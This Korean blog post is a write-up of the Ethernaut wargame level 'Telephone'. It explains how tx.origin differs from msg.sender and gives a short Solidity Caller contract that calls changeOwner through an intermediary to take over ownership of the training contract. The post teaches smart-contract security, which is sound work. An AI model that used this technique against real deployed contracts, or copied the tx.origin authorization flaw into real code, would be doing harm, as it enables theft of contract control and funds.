본문 바로가기
aaa
블록체인

[이더넛] 레벨4 'Telephone' 풀기

 [이더넛] 레벨4 'Telephone' 풀기  

 

 

 

[목표]

스마트컨트랙트 Telephone의
owner에 대입된 주소를 내 주소로 바꿔보자.

이를 통해 
tx.origin와 msg.sender의 차이를 알아보자.

 

 

Contract 'Telephone'
Full Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

 

 

owner가 되려면 

함수 changeOwner를 호출했을때

 

tx.origin과 msg.sender가 일치하지 않으면

changeOwner 호출시 입력한 주소형 변수가

owner에 대입된다.

 

 

tx.origin과 msg.sender의 차이를 그림으로 나타내기.

 

1. EOA로 불러오기

player의 EOA로 직업 함수 changeOwner를 호출하면

tx.origin = msg.sender = player

가 되어 if 조건문을 만족시킬 수가 없다.

 

2. CA로 불러오기

CA를 부르는 방법이 하나 더 있다.

바로 다른 CA로 CA를 부르는 방법.

 

CA Tellephone을 부르는

CA Caller를 만들어서 Tellephone을 불렀을 경우,

 

tx.origin = player(EOA 주소)

msg.sender = CA Caller(CA 주소)

 

두 주소가 일치하지 않기 때문에

tx.origin != msg.sender 조건을 만족시키게 된다.

 

 

공격 개시~!
pragma solidity 0.8.6;

contract Telephone{

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
  
  contract Caller{
    
    
    function call() public {
  
        Telephone(0x88Ac523b04c0Fa2279ab137cdCFf417181F6C3b3).changeOwner(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2);
    }


}

 

스마트컨트랙트 Caller의

함수 call을 실행하면

 

스마트컨트랙트 Telephone를 부른뒤

함수 changeOwner에

파라미터 player 주소를 입력하여

호출한다.

 

 

스마트컨트랙트 Caller의 함수 call 실행 후 onwer가 변경되었다.

 

위에서 설명했듯이

함수 changeOwner

if (tx.origin != msg.sender)의 조건을

만족하게 되고

 

owner는 player의 주소가 된다.

그럼 목표 달성.

 

 

 

 

'블록체인' 카테고리의 다른 글

[이더넛] 레벨6 'Delegation' 풀기  (0) 2021.08.12
[이더넛] 레벨5 'Token' 풀기  (0) 2021.08.12
[이더넛] 레벨3 'Coin Flip' 풀기  (0) 2021.08.10
이더넛 레벨2 풀기  (0) 2021.08.10
이더넛 레벨1 풀기  (0) 2021.08.10

loading